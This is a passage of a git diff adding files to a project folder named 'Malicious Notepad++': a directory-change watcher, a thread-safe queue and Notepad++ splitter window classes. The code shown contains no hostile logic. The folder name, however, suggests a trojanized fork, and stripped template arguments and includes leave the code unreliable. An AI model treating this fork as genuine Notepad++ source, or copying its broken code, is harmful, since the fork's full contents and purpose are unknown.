CALLBACK NotificationCompletion( + DWORD dwErrorCode, // completion code + DWORD dwNumberOfBytesTransfered, // number of bytes transferred + LPOVERLAPPED lpOverlapped); // I/O information buffer + + // Parameters from the caller for ReadDirectoryChangesW(). + DWORD m_dwFilterFlags; + BOOL m_bIncludeChildren; + CStringW m_wstrDirectory; + + // Result of calling CreateFile(). + HANDLE m_hDirectory; + + // Required parameter for ReadDirectoryChangesW(). + OVERLAPPED m_Overlapped; + + // Data buffer for the request. + // Since the memory is allocated by malloc, it will always + // be aligned as required by ReadDirectoryChangesW(). + vector m_Buffer; + + // Double buffer strategy so that we can issue a new read + // request before we process the current buffer. + vector m_BackupBuffer; +}; + +/////////////////////////////////////////////////////////////////////////// + +// All functions in CReadChangesServer run in the context of the worker thread. +// One instance of this object is allocated for each instance of CReadDirectoryChanges. +// This class is responsible for thread startup, orderly thread shutdown, and shimming +// the various C++ member functions with C-style Win32 functions. +class CReadChangesServer +{ +public: + explicit CReadChangesServer(CReadDirectoryChanges* pParent) + { + m_bTerminate=false; m_nOutstandingRequests=0;m_pBase=pParent; + } + + static unsigned int WINAPI ThreadStartProc(LPVOID arg) + { + CReadChangesServer* pServer = static_cast(arg); + pServer->Run(); + return 0; + } + + // Called by QueueUserAPC to start orderly shutdown. + static void CALLBACK TerminateProc(__in ULONG_PTR arg) + { + CReadChangesServer* pServer = reinterpret_cast(arg); + pServer->RequestTermination(); + } + + // Called by QueueUserAPC to add another directory. + static void CALLBACK AddDirectoryProc(__in ULONG_PTR arg) + { + CReadChangesRequest* pRequest = reinterpret_cast(arg); + pRequest->m_pServer->AddDirectory(pRequest); + } + + CReadDirectoryChanges* m_pBase; + + volatile DWORD m_nOutstandingRequests; + +protected: + + void Run() + { + while (m_nOutstandingRequests || !m_bTerminate) + { + ::SleepEx(INFINITE, true); + } + } + + void AddDirectory( CReadChangesRequest* pBlock ) + { + if (pBlock->OpenDirectory()) + { + ::InterlockedIncrement(&pBlock->m_pServer->m_nOutstandingRequests); + m_pBlocks.push_back(pBlock); + pBlock->BeginRead(); + } + else + delete pBlock; + } + + void RequestTermination() + { + m_bTerminate = true; + + for (DWORD i=0; iRequestTermination(); + } + + m_pBlocks.clear(); + } + + vector m_pBlocks; + + bool m_bTerminate; +}; + +} diff --git a/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ThreadSafeQueue.h b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ThreadSafeQueue.h new file mode 100644 index 0000000..d23aee5 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ReadDirectoryChanges/ThreadSafeQueue.h @@ -0,0 +1,116 @@ +// +// The MIT License +// +// Copyright (c) 2010 James E Beveridge +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. + + +// This sample code is for my blog entry titled, "Understanding ReadDirectoryChangesW" +// http://qualapps.blogspot.com/2010/05/understanding-readdirectorychangesw.html +// See ReadMe.txt for overview information. + +#include + +template +class CThreadSafeQueue : protected std::list +{ +public: + CThreadSafeQueue(int nMaxCount) + { + m_bOverflow = false; + + m_hSemaphore = ::CreateSemaphore( + NULL, // no security attributes + 0, // initial count + nMaxCount, // max count + NULL); // anonymous + } + + ~CThreadSafeQueue() + { + ::CloseHandle(m_hSemaphore); + m_hSemaphore = NULL; + } + + void push(C& c) + { + CComCritSecLock lock( m_Crit, true ); + push_back( c ); + lock.Unlock(); + + if (!::ReleaseSemaphore(m_hSemaphore, 1, NULL)) + { + // If the semaphore is full, then take back the entry. + lock.Lock(); + pop_back(); + if (GetLastError() == ERROR_TOO_MANY_POSTS) + { + m_bOverflow = true; + } + } + } + + bool pop(C& c) + { + CComCritSecLock lock( m_Crit, true ); + + // If the user calls pop() more than once after the + // semaphore is signaled, then the semaphore count will + // get out of sync. We fix that when the queue empties. + if (empty()) + { + while (::WaitForSingleObject(m_hSemaphore, 0) != WAIT_TIMEOUT) + 1; + return false; + } + + c = front(); + pop_front(); + + return true; + } + + // If overflow, use this to clear the queue. + void clear() + { + CComCritSecLock lock( m_Crit, true ); + + for (DWORD i=0; i diff --git a/Malicious Notepad++/src/WinControls/SplitterContainer/Splitter.cpp b/Malicious Notepad++/src/WinControls/SplitterContainer/Splitter.cpp new file mode 100644 index 0000000..f1fd57d --- /dev/null +++ b/Malicious Notepad++/src/WinControls/SplitterContainer/Splitter.cpp @@ -0,0 +1,724 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#include +#include +#include +#include "Splitter.h" + +bool Splitter::_isHorizontalRegistered = false; +bool Splitter::_isVerticalRegistered = false; +bool Splitter::_isHorizontalFixedRegistered = false; +bool Splitter::_isVerticalFixedRegistered = false; + + +#define SPLITTER_SIZE 8 + + + +Splitter::Splitter() +{ + _rect.left = 0; // x axis + _rect.top = 0; // y axis + _rect.right = 0; // Width of the spliter. + _rect.bottom = 0; // Height of the spliter +} + + +void Splitter::init( HINSTANCE hInst, HWND hPere, int splitterSize, double iSplitRatio, DWORD dwFlags) +{ + if (hPere == NULL) + throw std::runtime_error("Splitter::init : Parameter hPere is null"); + + if (iSplitRatio < 0) + throw std::runtime_error("Splitter::init : Parameter iSplitRatio shoulds be 0 < ratio < 100"); + + Window::init(hInst, hPere); + _spiltterSize = splitterSize; + + WNDCLASSEX wcex; + DWORD dwExStyle = 0L; + DWORD dwStyle = WS_CHILD | WS_VISIBLE; + + + _hParent = hPere; + _dwFlags = dwFlags; + + if (_dwFlags & SV_FIXED) + { + //Fixed spliter + _isFixed = true; + } + else + { + if (iSplitRatio >= 100) + { + //cant be 100 % or more + throw std::runtime_error("Splitter::init : Parameter iSplitRatio shoulds be 0 < ratio < 100"); + } + } + + _splitPercent = iSplitRatio; + + wcex.cbSize = sizeof(WNDCLASSEX); + wcex.style = CS_HREDRAW | CS_VREDRAW; + wcex.lpfnWndProc = (WNDPROC)staticWndProc; + wcex.cbClsExtra = 0; + wcex.cbWndExtra = 0; + wcex.hInstance = _hInst; + wcex.hIcon = NULL; + + ::GetClientRect(_hParent, &_rect); + + if (_dwFlags & SV_HORIZONTAL) //Horizontal spliter + { + _rect.top = (LONG)((_rect.bottom * _splitPercent)/100); + // y axis determined by the split% of the parent windows height + + _rect.left = 0; + // x axis is always 0 + + _rect.bottom = _spiltterSize; + // the height of the spliter + + // the width of the splitter remains the same as the width of the parent window. + } + else //Vertical spliter + { + // y axis is 0 always + + _rect.left = (LONG)((_rect.right * _splitPercent)/100); + // x axis determined by split% of the parent windows width. + + _rect.right = _spiltterSize; + // width of the spliter. + + //height of the spliter remains the same as the height of the parent window + } + + if (!_isFixed) + { + if ((_dwFlags & SV_ENABLERDBLCLK) || (_dwFlags & SV_ENABLELDBLCLK)) + { + wcex.style = wcex.style | CS_DBLCLKS; + // enable mouse double click messages. + } + } + + if (_isFixed) + { + wcex.hCursor = ::LoadCursor(NULL, IDC_ARROW); + // if fixed spliter then choose default cursor type. + if (_dwFlags & SV_HORIZONTAL) + wcex.lpszClassName = TEXT("fxdnsspliter"); + else + wcex.lpszClassName = TEXT("fxdwespliter"); + } + else + { + if (_dwFlags & SV_HORIZONTAL) + { + //double sided arrow pointing north-south as cursor + wcex.hCursor = ::LoadCursor(NULL,IDC_SIZENS); + wcex.lpszClassName = TEXT("nsspliter"); + } + else + { + // double sided arrow pointing east-west as cursor + wcex.hCursor = ::LoadCursor(NULL,IDC_SIZEWE); + wcex.lpszClassName = TEXT("wespliter"); + } + } + + wcex.hbrBackground = (HBRUSH)(COLOR_3DFACE+1); + wcex.lpszMenuName = NULL; + wcex.hIconSm = NULL; + + if ((_dwFlags & SV_HORIZONTAL)&&(!_isHorizontalRegistered)) + { + RegisterClassEx(&wcex); + _isHorizontalRegistered = true; + } + else if (isVertical()&&(!_isVerticalRegistered)) + { + RegisterClassEx(&wcex); + _isVerticalRegistered = true; + } + else if ((_dwFlags & SV_HORIZONTAL)&&(!_isHorizontalFixedRegistered)) + { + RegisterClassEx(&wcex); + _isHorizontalFixedRegistered = true; + } + else if (isVertical()&&(!_isVerticalFixedRegistered)) + { + RegisterClassEx(&wcex); + _isVerticalFixedRegistered = true; + } + + _hSelf = CreateWindowEx(dwExStyle, wcex.lpszClassName, + TEXT(""), + dwStyle, + _rect.left, _rect.top, _rect.right, _rect.bottom, + _hParent, NULL, _hInst, this); + + if (!_hSelf) + throw std::runtime_error("Splitter::init : CreateWindowEx() function return null"); + + RECT rc; + getClientRect(rc); + //::GetClientRect(_hParent,&rc); + + _clickZone2TL.left = rc.left; + _clickZone2TL.top = rc.top; + + int clickZoneWidth = getClickZone(WH::width); + int clickZoneHeight = getClickZone(WH::height); + _clickZone2TL.right = clickZoneWidth; + _clickZone2TL.bottom = clickZoneHeight; + + _clickZone2BR.left = rc.right - clickZoneWidth; + _clickZone2BR.top = rc.bottom - clickZoneHeight; + _clickZone2BR.right = clickZoneWidth; + _clickZone2BR.bottom = clickZoneHeight; + + display(); + ::SendMessage(_hParent, WM_RESIZE_CONTAINER, _rect.left, _rect.top); +} + + +void Splitter::destroy() +{ + ::DestroyWindow(_hSelf); +} + + +int Splitter::getClickZone(WH which) +{ + // determinated by (_dwFlags & SV_VERTICAL) && _splitterSize + if (_spiltterSize <= 8) + { + return isVertical() + ? (which == WH::width ? _spiltterSize : HIEGHT_MINIMAL) + : (which == WH::width ? HIEGHT_MINIMAL : _spiltterSize); + } + else // (_spiltterSize > 8) + { + return isVertical() + ? ((which == WH::width) ? 8 : 15) + : ((which == WH::width) ? 15 : 8); + } +} + + +LRESULT CALLBACK Splitter::staticWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + switch(uMsg) + { + case WM_NCCREATE: + { + Splitter * pSplitter = reinterpret_cast(reinterpret_cast(lParam)->lpCreateParams); + pSplitter->_hSelf = hWnd; + ::SetWindowLongPtr(hWnd, GWLP_USERDATA, reinterpret_cast(pSplitter)); + return TRUE; + } + default: + { + Splitter * pSplitter = (Splitter *)::GetWindowLongPtr(hWnd, GWLP_USERDATA); + if (!pSplitter) + return ::DefWindowProc(hWnd, uMsg, wParam, lParam); + + return pSplitter->spliterWndProc(uMsg, wParam, lParam); + } + } +} + + +LRESULT CALLBACK Splitter::spliterWndProc(UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + switch (uMsg) + { + case WM_LBUTTONDOWN: + { + POINT p; + p.x = LOWORD(lParam); + p.y = HIWORD(lParam); + + if ((isInLeftTopZone(p))&&(wParam == MK_LBUTTON)) + { + gotoTopLeft(); + return TRUE; + } + + if ((isInRightBottomZone(p))&&(wParam == MK_LBUTTON)) + { + gotoRightBouuom(); + return TRUE; + } + + if (!_isFixed) + { + ::SetCapture(_hSelf); + _isDraged = true; + } + + return 0; + } + + case WM_RBUTTONDOWN: + { + ::SendMessage(_hParent, WM_DOPOPUPMENU, wParam, lParam); + return TRUE; + } + + case WM_MOUSEMOVE: + { + POINT p; + p.x = LOWORD(lParam); + p.y = HIWORD(lParam); + + if (isInLeftTopZone(p) || isInRightBottomZone(p)) + { + //::SetCursor(::LoadCursor(_hInst, MAKEINTRESOURCE(IDC_UP_ARROW))); + ::SetCursor(::LoadCursor(NULL, IDC_ARROW)); + return TRUE; + } + + if ((!_isFixed) && (wParam == MK_LBUTTON)) + { + POINT pt; RECT rt; + ::GetClientRect(_hParent, &rt); + + ::GetCursorPos(&pt); + ::ScreenToClient(_hParent, &pt); + + if (_dwFlags & SV_HORIZONTAL) + { + if (pt.y <= 1) + { + _rect.top = 1; + _splitPercent = 1; + } + else + { + if (pt.y <= (rt.bottom - 5)) + { + _rect.top = pt.y; + _splitPercent = ((pt.y * 100 / (double)rt.bottom*100) / 100); + } + else + { + _rect.top = rt.bottom - 5; + _splitPercent = 99; + } + } + } + else + { + if (pt.x <= 1) + { + _rect.left = 1; + _splitPercent = 1; + } + else + { + if (pt.x <= (rt.right - 5)) + { + _rect.left = pt.x; + _splitPercent = ((pt.x*100 / (double)rt.right*100) / 100); + } + else + { + _rect.left = rt.right - 5; + _splitPercent = 99; + } + } + } + + ::SendMessage(_hParent, WM_RESIZE_CONTAINER, _rect.left, _rect.top); + ::MoveWindow(_hSelf, _rect.left, _rect.top, _rect.right, _rect.bottom, FALSE); + redraw(); + } + return 0; + } + + case WM_LBUTTONUP: + { + if (!_isFixed) + { + ReleaseCapture(); + } + return 0; + } + + case WM_CAPTURECHANGED: + { + if (_isDraged) + { + ::SendMessage(_hParent, WM_RESIZE_CONTAINER, _rect.left, _rect.top); + ::MoveWindow(_hSelf, _rect.left, _rect.top, _rect.right, _rect.bottom, TRUE); + _isDraged = false; + } + return 0; + } + + case WM_PAINT: + { + drawSplitter(); + return 0; + } + + case WM_CLOSE: + { + destroy(); + return 0; + } + } + + return ::DefWindowProc(_hSelf, uMsg, wParam, lParam); +} + + +void Splitter::resizeSpliter(RECT *pRect) +{ + RECT rect; + + if (pRect) + rect = *pRect; + else + ::GetClientRect(_hParent,&rect); + + if (_dwFlags & SV_HORIZONTAL) + { + // for a Horizontal spliter the width remains the same + // as the width of the parent window, so get the new width of the parent. + _rect.right = rect.right; + + //if resizeing should be done proportionately. + if (_dwFlags & SV_RESIZEWTHPERCNT) + _rect.top = (LONG)((rect.bottom * _splitPercent)/100); + else // soit la fenetre en haut soit la fenetre en bas qui est fixee + _rect.top = getSplitterFixPosY(); + } + else + { + // for a (default) Vertical spliter the height remains the same + // as the height of the parent window, so get the new height of the parent. + _rect.bottom = rect.bottom; + + //if resizeing should be done proportionately. + if (_dwFlags & SV_RESIZEWTHPERCNT) + { + _rect.left = (LONG)((rect.right * _splitPercent)/100); + } + else // soit la fenetre gauche soit la fenetre droit qui est fixee + _rect.left = getSplitterFixPosX(); + + } + ::MoveWindow(_hSelf, _rect.left, _rect.top, _rect.right, _rect.bottom, TRUE); + ::SendMessage(_hParent, WM_RESIZE_CONTAINER, _rect.left, _rect.top); + + RECT rc; + getClientRect(rc); + _clickZone2BR.right = getClickZone(WH::width); + _clickZone2BR.bottom = getClickZone(WH::height); + _clickZone2BR.left = rc.right - _clickZone2BR.right; + _clickZone2BR.top = rc.bottom - _clickZone2BR.bottom; + + + //force the window to repaint, to make sure the splitter is visible + // in the new position. + redraw(); +} + + +void Splitter::gotoTopLeft() +{ + if ((_dwFlags & SV_ENABLELDBLCLK) && (!_isFixed) && (_splitPercent > 1)) + { + if (_dwFlags & SV_HORIZONTAL) + _rect.top = 1; + else + _rect.left = 1; + + _splitPercent = 1; + + ::SendMessage(_hParent, WM_RESIZE_CONTAINER, _rect.left, _rect.top); + ::MoveWindow(_hSelf, _rect.left, _rect.top, _rect.right, _rect.bottom, TRUE); + redraw(); + } +} + + +void Splitter::gotoRightBouuom() +{ + if ((_dwFlags & SV_ENABLERDBLCLK) && (!_isFixed) && (_splitPercent < 99)) + { + RECT rt; + GetClientRect(_hParent,&rt); + + if (_dwFlags & SV_HORIZONTAL) + _rect.top = rt.bottom - _spiltterSize; + else + _rect.left = rt.right - _spiltterSize; + + _splitPercent = 99; + + ::SendMessage(_hParent, WM_RESIZE_CONTAINER, _rect.left, _rect.top); + ::MoveWindow(_hSelf, _rect.left, _rect.top, _rect.right, _rect.bottom, TRUE); + redraw(); + } +} + + +void Splitter::drawSplitter() +{ + PAINTSTRUCT ps; + RECT rc, rcToDraw1, rcToDraw2, TLrc, BRrc; + + HDC hdc = ::BeginPaint(_hSelf, &ps); + getClientRect(rc); + + if ((_spiltterSize >= 4) && (_dwFlags & SV_RESIZEWTHPERCNT)) + { + adjustZoneToDraw(TLrc, ZONE_TYPE::topLeft); + adjustZoneToDraw(BRrc, ZONE_TYPE::bottomRight); + paintArrow(hdc, TLrc, isVertical() ? Arrow::left : Arrow::up); + } + + if (isVertical()) + { + rcToDraw2.top = (_dwFlags & SV_RESIZEWTHPERCNT) ? _clickZone2TL.bottom : 0; + rcToDraw2.bottom = rcToDraw2.top + 2; + + rcToDraw1.top = rcToDraw2.top + 1; + rcToDraw1.bottom = rcToDraw1.top + 2; + } + else + { + rcToDraw2.top = 1; + rcToDraw2.bottom = 3; + + rcToDraw1.top = 2; + rcToDraw1.bottom = 4; + } + + int bottom = 0; + if (_dwFlags & SV_RESIZEWTHPERCNT) + bottom = (isVertical() ? rc.bottom - _clickZone2BR.bottom : rc.bottom); + else + bottom = rc.bottom; + + while (rcToDraw1.bottom <= bottom) + { + if (isVertical()) + { + rcToDraw2.left = 1; + rcToDraw2.right = 3; + + rcToDraw1.left = 2; + rcToDraw1.right = 4; + } + else + { + rcToDraw2.left = _clickZone2TL.right; + rcToDraw2.right = rcToDraw2.left + 2; + + rcToDraw1.left = rcToDraw2.left; + rcToDraw1.right = rcToDraw1.left + 2; + } + + while (rcToDraw1.right <= (isVertical() ? rc.right : rc.right - _clickZone2BR.right)) + { + ::FillRect(hdc, &rcToDraw1, (HBRUSH)(RGB(0xFF, 0xFF, 0xFF))); + ::FillRect(hdc, &rcToDraw2, (HBRUSH)(COLOR_3DSHADOW+1)); + + rcToDraw2.left += 4; + rcToDraw2.right += 4; + rcToDraw1.left += 4; + rcToDraw1.right += 4; + } + + rcToDraw2.top += 4; + rcToDraw2.bottom += 4; + rcToDraw1.top += 4; + rcToDraw1.bottom += 4; + } + + if ((_spiltterSize >= 4) && (_dwFlags & SV_RESIZEWTHPERCNT)) + paintArrow(hdc, BRrc, isVertical() ? Arrow::right : Arrow::down); + + ::EndPaint(_hSelf, &ps); +} + + +void Splitter::rotate() +{ + if (!_isFixed) + { + destroy(); + + if (_dwFlags & SV_HORIZONTAL) + { + _dwFlags ^= SV_HORIZONTAL; + _dwFlags |= SV_VERTICAL; + } + else //SV_VERTICAL + { + _dwFlags ^= SV_VERTICAL; + _dwFlags |= SV_HORIZONTAL; + } + + init(_hInst, _hParent, _spiltterSize, _splitPercent, _dwFlags); + } +} + + +void Splitter::paintArrow(HDC hdc, const RECT &rect, Arrow arrowDir) +{ + RECT rc; + rc.left = rect.left; rc.top = rect.top; + rc.right = rect.right; rc.bottom = rect.bottom; + + switch (arrowDir) + { + case Arrow::left: + { + int x = rc.right; + int y = rc.top; + + //::MoveToEx(hdc, x, y, NULL); + for (; (x > rc.left) && (y != rc.bottom) ; --x) + { + ::MoveToEx(hdc, x, y++, NULL); + ::LineTo(hdc, x, rc.bottom--); + } + break; + } + + case Arrow::right: + { + int x = rc.left; + int y = rc.top; + + //::MoveToEx(hdc, x, y, NULL); + for (; (x < rc.right) && (y != rc.bottom) ; ++x) + { + ::MoveToEx(hdc, x, y++, NULL); + ::LineTo(hdc, x, rc.bottom--); + } + break; + } + + case Arrow::up: + { + int x = rc.left; + int y = rc.bottom; + + //::MoveToEx(hdc, x, y, NULL); + for (; (y > rc.top) && (x != rc.right) ; --y) + { + ::MoveToEx(hdc, x++, y, NULL); + ::LineTo(hdc, rc.right--, y); + } + break; + } + + case Arrow::down: + { + int x = rc.left; + int y = rc.top; + + //::MoveToEx(hdc, x, y, NULL); + for (; (y < rc.bottom) && (x != rc.right) ; ++y) + { + ::MoveToEx(hdc, x++, y, NULL); + ::LineTo(hdc, rc.right--, y); + } + break; + } + } +} + + +void Splitter::adjustZoneToDraw(RECT& rc2def, ZONE_TYPE whichZone) +{ + if (_spiltterSize < 4) + return; + + int x0, y0, x1, y1, w, h; + + if ((4 <= _spiltterSize) && (_spiltterSize <= 8)) + { + w = (isVertical() ? 4 : 7); + h = (isVertical() ? 7 : 4); + } + else // (_spiltterSize > 8) + { + w = (isVertical() ? 6 : 11); + h = (isVertical() ? 11 : 6); + } + + if (isVertical()) + { + // w=4 h=7 + if (whichZone == ZONE_TYPE::topLeft) + { + x0 = 0; + y0 = (_clickZone2TL.bottom - h) / 2; + } + else // whichZone == BOTTOM_RIGHT + { + x0 = _clickZone2BR.left + _clickZone2BR.right - w; + y0 = (_clickZone2BR.bottom - h) / 2 + _clickZone2BR.top; + } + + x1 = x0 + w; + y1 = y0 + h; + } + else // Horizontal + { + //w=7 h=4 + if (whichZone == ZONE_TYPE::topLeft) + { + x0 = (_clickZone2TL.right - w) / 2; + y0 = 0; + } + else // whichZone == BOTTOM_RIGHT + { + x0 = ((_clickZone2BR.right - w) / 2) + _clickZone2BR.left; + y0 = _clickZone2BR.top + _clickZone2BR.bottom - h; + } + + x1 = x0 + w; + y1 = y0 + h; + } + + rc2def.left = x0; + rc2def.top = y0; + rc2def.right = x1; + rc2def.bottom = y1; +} + diff --git a/Malicious Notepad++/src/WinControls/SplitterContainer/Splitter.h b/Malicious Notepad++/src/WinControls/SplitterContainer/Splitter.h new file mode 100644 index 0000000..b63f91f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/SplitterContainer/Splitter.h @@ -0,0 +1,134 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once +#include "resource.h" +#include "Window.h" +#include "Common.h" + + +#define SV_HORIZONTAL 0x00000001 +#define SV_VERTICAL 0x00000002 +#define SV_FIXED 0x00000004 +#define SV_ENABLERDBLCLK 0x00000008 +#define SV_ENABLELDBLCLK 0x00000010 +#define SV_RESIZEWTHPERCNT 0x00000020 + + +#define WM_GETSPLITTER_X (SPLITTER_USER + 1) +#define WM_GETSPLITTER_Y (SPLITTER_USER + 2) +#define WM_DOPOPUPMENU (SPLITTER_USER + 3) +#define WM_RESIZE_CONTAINER (SPLITTER_USER + 4) + +const int HIEGHT_MINIMAL = 15; + + +enum class Arrow { left, up, right, down }; + +enum class WH { height, width }; + +enum class ZONE_TYPE { bottomRight, topLeft }; + +enum class SplitterMode: std::uint8_t +{ + DYNAMIC, LEFT_FIX, RIGHT_FIX +}; + + + + + +class Splitter : public Window +{ +public: + Splitter(); + virtual ~Splitter() = default; + + virtual void destroy() override; + + void resizeSpliter(RECT *pRect = NULL); + void init(HINSTANCE hInst, HWND hPere, int splitterSize, double iSplitRatio, DWORD dwFlags); + void rotate(); + + int getPhisicalSize() const + { + return _spiltterSize; + } + + +private: + RECT _rect; + double _splitPercent = 0.; + int _spiltterSize = 0; + bool _isDraged = false; + DWORD _dwFlags = 0; + bool _isFixed = false; + static bool _isHorizontalRegistered; + static bool _isVerticalRegistered; + static bool _isHorizontalFixedRegistered; + static bool _isVerticalFixedRegistered; + + RECT _clickZone2TL, _clickZone2BR; + + static LRESULT CALLBACK staticWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); + LRESULT CALLBACK spliterWndProc(UINT uMsg, WPARAM wParam, LPARAM lParam); + + int getClickZone(WH which); + void adjustZoneToDraw(RECT & rc2def, ZONE_TYPE whichZone); + void drawSplitter(); + bool isVertical() const {return (_dwFlags & SV_VERTICAL) != 0;}; + void paintArrow(HDC hdc, const RECT &rect, Arrow arrowDir); + void gotoTopLeft(); + void gotoRightBouuom(); + + bool isInLeftTopZone(const POINT& p) const + { + return ((p.x >= _clickZone2TL.left) + and (p.x <= _clickZone2TL.left + _clickZone2TL.right) + and (p.y >= _clickZone2TL.top) + and (p.y <= _clickZone2TL.top + _clickZone2TL.bottom)); + } + + bool isInRightBottomZone(const POINT& p) const + { + return ((p.x >= _clickZone2BR.left) + and (p.x <= _clickZone2BR.left + _clickZone2BR.right) + and (p.y >= _clickZone2BR.top) + and (p.y <= _clickZone2BR.top + _clickZone2BR.bottom)); + } + + int getSplitterFixPosX() const + { + long result = long(::SendMessage(_hParent, WM_GETSPLITTER_X, 0, 0)); + return (LOWORD(result) - ((HIWORD(result) == static_cast(SplitterMode::RIGHT_FIX)) ? _spiltterSize : 0)); + } + + int getSplitterFixPosY() const + { + long result = long(::SendMessage(_hParent, WM_GETSPLITTER_Y, 0, 0)); + return (LOWORD(result) - ((HIWORD(result) == static_cast(SplitterMode::RIGHT_FIX)) ? _spiltterSize : 0)); + } +}; diff --git a/Malicious Notepad++/src/WinControls/SplitterContainer/SplitterContainer.cpp b/Malicious Notepad++/src/WinControls/SplitterContainer/SplitterContainer.cpp new file mode 100644 index 0000000..389d6c0 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/SplitterContainer/SplitterContainer.cpp @@ -0,0 +1,326 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#include +#include +#include +#include "SplitterContainer.h" +#include + + + +bool SplitterContainer::_isRegistered = false; + + + +void SplitterContainer::create(Window *pWin0, Window *pWin1, int splitterSize, SplitterMode mode, int ratio, bool isVertical) +{ + //Window::init(hInst, parent); + _pWin0 = pWin0; + _pWin1 = pWin1; + _splitterSize = splitterSize; + _splitterMode = mode; + _ratio = ratio; + _dwSplitterStyle |= isVertical?SV_VERTICAL:SV_HORIZONTAL; + + if (_splitterMode != SplitterMode::DYNAMIC) + { + _dwSplitterStyle |= SV_FIXED; + _dwSplitterStyle &= ~SV_RESIZEWTHPERCNT; + } + if (!_isRegistered) + { + WNDCLASS splitterContainerClass; + + splitterContainerClass.style = CS_DBLCLKS; + splitterContainerClass.lpfnWndProc = staticWinProc; + splitterContainerClass.cbClsExtra = 0; + splitterContainerClass.cbWndExtra = 0; + splitterContainerClass.hInstance = _hInst; + splitterContainerClass.hIcon = NULL; + splitterContainerClass.hCursor = ::LoadCursor(NULL, IDC_ARROW); + + // hbrBackground must be NULL, + // otherwise this window will hide some parts of 2 windows + splitterContainerClass.hbrBackground = NULL; + splitterContainerClass.lpszMenuName = NULL; + splitterContainerClass.lpszClassName = SPC_CLASS_NAME; + + if (!::RegisterClass(&splitterContainerClass)) + throw std::runtime_error(" SplitterContainer::create : RegisterClass() function failed"); + + _isRegistered = true; + } + + _hSelf = ::CreateWindowEx( + 0, SPC_CLASS_NAME, TEXT("a koi sert?"), + WS_CHILD | WS_CLIPCHILDREN, + CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, + _hParent, NULL, _hInst, this); + + if (!_hSelf) + throw std::runtime_error(" SplitterContainer::create : CreateWindowEx() function return null"); +} + + +void SplitterContainer::destroy() +{ + if (_hPopupMenu) + ::DestroyMenu(_hPopupMenu); + + _splitter.destroy(); + ::DestroyWindow(_hSelf); +} + + +void SplitterContainer::reSizeTo(RECT & rc) +{ + _x = rc.left; + _y = rc.top; + ::MoveWindow(_hSelf, _x, _y, rc.right, rc.bottom, FALSE); + _splitter.resizeSpliter(); +} + + +void SplitterContainer::display(bool toShow) const +{ + Window::display(toShow); + + assert(_pWin0 != 